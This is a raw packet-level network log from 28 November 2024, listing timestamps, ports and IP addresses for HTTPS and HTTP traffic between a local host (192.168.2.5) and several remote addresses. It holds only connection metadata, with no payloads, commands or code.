Nov 28, 2024 06:48:35.355356932 CET	443	49822	13.107.246.40	192.168.2.5
Nov 28, 2024 06:48:35.355498075 CET	49821	443	192.168.2.5	13.107.246.40
Nov 28, 2024 06:48:35.355519056 CET	443	49821	13.107.246.40	192.168.2.5
Nov 28, 2024 06:48:35.355693102 CET	49820	443	192.168.2.5	13.107.246.40
Nov 28, 2024 06:48:35.355701923 CET	443	49820	13.107.246.40	192.168.2.5
Nov 28, 2024 06:48:35.355818033 CET	49819	443	192.168.2.5	13.107.246.40
Nov 28, 2024 06:48:35.355834007 CET	443	49819	13.107.246.40	192.168.2.5
Nov 28, 2024 06:48:35.356342077 CET	443	49822	13.107.246.40	192.168.2.5
Nov 28, 2024 06:48:35.356412888 CET	49822	443	192.168.2.5	13.107.246.40
Nov 28, 2024 06:48:35.356503010 CET	443	49821	13.107.246.40	192.168.2.5
Nov 28, 2024 06:48:35.356574059 CET	49821	443	192.168.2.5	13.107.246.40
Nov 28, 2024 06:48:35.356659889 CET	443	49820	13.107.246.40	192.168.2.5
Nov 28, 2024 06:48:35.356712103 CET	49820	443	192.168.2.5	13.107.246.40
Nov 28, 2024 06:48:35.356925011 CET	443	49819	13.107.246.40	192.168.2.5
Nov 28, 2024 06:48:35.356976032 CET	49819	443	192.168.2.5	13.107.246.40
Nov 28, 2024 06:48:35.357242107 CET	49822	443	192.168.2.5	13.107.246.40
Nov 28, 2024 06:48:35.357306004 CET	443	49822	13.107.246.40	192.168.2.5
Nov 28, 2024 06:48:35.357731104 CET	49821	443	192.168.2.5	13.107.246.40
Nov 28, 2024 06:48:35.357805967 CET	443	49821	13.107.246.40	192.168.2.5
Nov 28, 2024 06:48:35.358290911 CET	49820	443	192.168.2.5	13.107.246.40
Nov 28, 2024 06:48:35.358347893 CET	443	49820	13.107.246.40	192.168.2.5
Nov 28, 2024 06:48:35.358669043 CET	49819	443	192.168.2.5	13.107.246.40
Nov 28, 2024 06:48:35.358750105 CET	443	49819	13.107.246.40	192.168.2.5
Nov 28, 2024 06:48:35.359014988 CET	49822	443	192.168.2.5	13.107.246.40
Nov 28, 2024 06:48:35.359025955 CET	443	49822	13.107.246.40	192.168.2.5
Nov 28, 2024 06:48:35.359116077 CET	49821	443	192.168.2.5	13.107.246.40
Nov 28, 2024 06:48:35.359153032 CET	49820	443	192.168.2.5	13.107.246.40
Nov 28, 2024 06:48:35.359159946 CET	443	49820	13.107.246.40	192.168.2.5
Nov 28, 2024 06:48:35.359164953 CET	443	49821	13.107.246.40	192.168.2.5
Nov 28, 2024 06:48:35.359443903 CET	49819	443	192.168.2.5	13.107.246.40
Nov 28, 2024 06:48:35.359453917 CET	443	49819	13.107.246.40	192.168.2.5
Nov 28, 2024 06:48:35.390538931 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.390603065 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.390629053 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.390687943 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.390888929 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.390939951 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.390975952 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.391083002 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.391530991 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.391577959 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.391694069 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.391742945 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.392313004 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.392359972 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.392360926 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.392409086 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.393158913 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.393218040 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.393290997 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.393362999 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.393944025 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.393999100 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.394036055 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.394207954 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.394792080 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.394872904 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.394877911 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.394912958 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.400814056 CET	49822	443	192.168.2.5	13.107.246.40
Nov 28, 2024 06:48:35.400835991 CET	49821	443	192.168.2.5	13.107.246.40
Nov 28, 2024 06:48:35.400835991 CET	49819	443	192.168.2.5	13.107.246.40
Nov 28, 2024 06:48:35.400837898 CET	49820	443	192.168.2.5	13.107.246.40
Nov 28, 2024 06:48:35.467945099 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.468005896 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.468040943 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.468096972 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.468261957 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.468307972 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.468372107 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.468417883 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.469118118 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.469167948 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.469204903 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.469250917 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.469928980 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.469980001 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.470077991 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.470128059 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.470742941 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.470801115 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.470819950 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.470854044 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.471554041 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.471601963 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.471684933 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.471745968 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.472356081 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.472424984 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.472485065 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.473181009 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.473228931 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.473309994 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.473416090 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.474061012 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.474112034 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.474128008 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.474174023 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.474814892 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.474863052 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.474925995 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.475073099 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.475625038 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.475676060 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.475713968 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.475763083 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.476438999 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.476494074 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.476556063 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.476598024 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.477252007 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.477299929 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.477360964 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.477405071 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.478034019 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.478085995 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.478117943 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.478182077 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.478899956 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.478950024 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.479010105 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.479048014 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.479823112 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.479865074 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.479921103 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.480057001 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.480513096 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.480621099 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.480675936 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.481308937 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.481355906 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.481372118 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.481419086 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.482197046 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.482247114 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.482312918 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.482359886 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.482933044 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.482991934 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.483026981 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.483083963 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.483803988 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.483896017 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.483948946 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.484600067 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.484648943 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.484684944 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.484726906 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.485402107 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.485459089 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.485496998 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.485546112 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.486201048 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.486253023 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.486310959 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.486355066 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.487015009 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.487061977 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.487108946 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.487306118 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.487843037 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.487927914 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.487958908 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.488007069 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.488682032 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.488729954 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.488759995 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.488806009 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.489460945 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.489518881 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.489578962 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.489644051 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.490271091 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.490322113 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.490386009 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.490478039 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.491096020 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.491148949 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.491202116 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.491374969 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.543114901 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.543183088 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.543245077 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.543490887 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.543531895 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.543651104 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.543692112 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.543714046 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.543740988 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.544497967 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.544590950 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.544637918 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.545308113 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.545351028 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.545393944 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.545443058 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.546113014 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.546173096 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.546230078 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.546417952 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.546906948 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.546957016 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.547010899 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.547055960 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.547749996 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.547805071 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.547878027 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.547931910 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.548541069 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.548691988 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.548701048 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.548738956 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.549348116 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.549402952 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.549458027 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.549582958 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.550235033 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.550292015 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.550369978 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.550431013 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.551001072 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.551090002 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.551141024 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.551805019 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.551860094 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.551897049 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.551937103 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.552637100 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.552695036 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.552747965 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.552850962 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.553447962 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.553497076 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.553569078 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.553741932 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.554234982 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.554291010 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.554347992 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.554400921 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.555047035 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.555099964 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.555135965 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.555179119 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.555854082 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.556021929 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.581379890 CET	443	49823	4.249.200.148	192.168.2.5
Nov 28, 2024 06:48:35.581399918 CET	443	49823	4.249.200.148	192.168.2.5
Nov 28, 2024 06:48:35.581413984 CET	443	49823	4.249.200.148	192.168.2.5
Nov 28, 2024 06:48:35.581464052 CET	49823	443	192.168.2.5	4.249.200.148
Nov 28, 2024 06:48:35.581487894 CET	443	49823	4.249.200.148	192.168.2.5
Nov 28, 2024 06:48:35.581542015 CET	49823	443	192.168.2.5	4.249.200.148
Nov 28, 2024 06:48:35.591958046 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.592009068 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.592076063 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.592245102 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.592315912 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.592432976 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.592447996 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.592466116 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.593146086 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.593210936 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.593257904 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.593303919 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.593986988 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.594017982 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.594057083 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.594069958 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.594763994 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.594816923 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.594845057 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.594890118 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.595562935 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.595614910 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.595684052 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.595757961 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.596404076 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.596451044 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.596549034 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.596645117 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.669320107 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.669334888 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.669400930 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.669445992 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.669490099 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.669569016 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.669615030 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.670182943 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.670239925 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.670278072 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.670320988 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.670988083 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.671077013 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.671093941 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.671139956 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.671812057 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.671870947 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.671906948 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.671994925 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.672607899 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.672660112 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.672720909 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.672766924 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.673454046 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.673511982 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.673573017 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.673707962 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.674243927 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.674295902 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.674357891 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.674421072 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.675052881 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.675100088 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.675168037 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.675229073 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.675873041 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.675921917 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.676002979 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.676103115 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.676708937 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.676764965 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.676830053 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.676872969 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.677512884 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.677577972 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.677629948 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.677691936 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.678308010 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.678410053 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.678457022 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.679121017 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.679166079 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.679259062 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.679335117 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.679949999 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.680068016 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.680075884 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.680099964 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.680763006 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.680819035 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.680864096 CET	80	49750	185.215.113.206	192.168.2.5
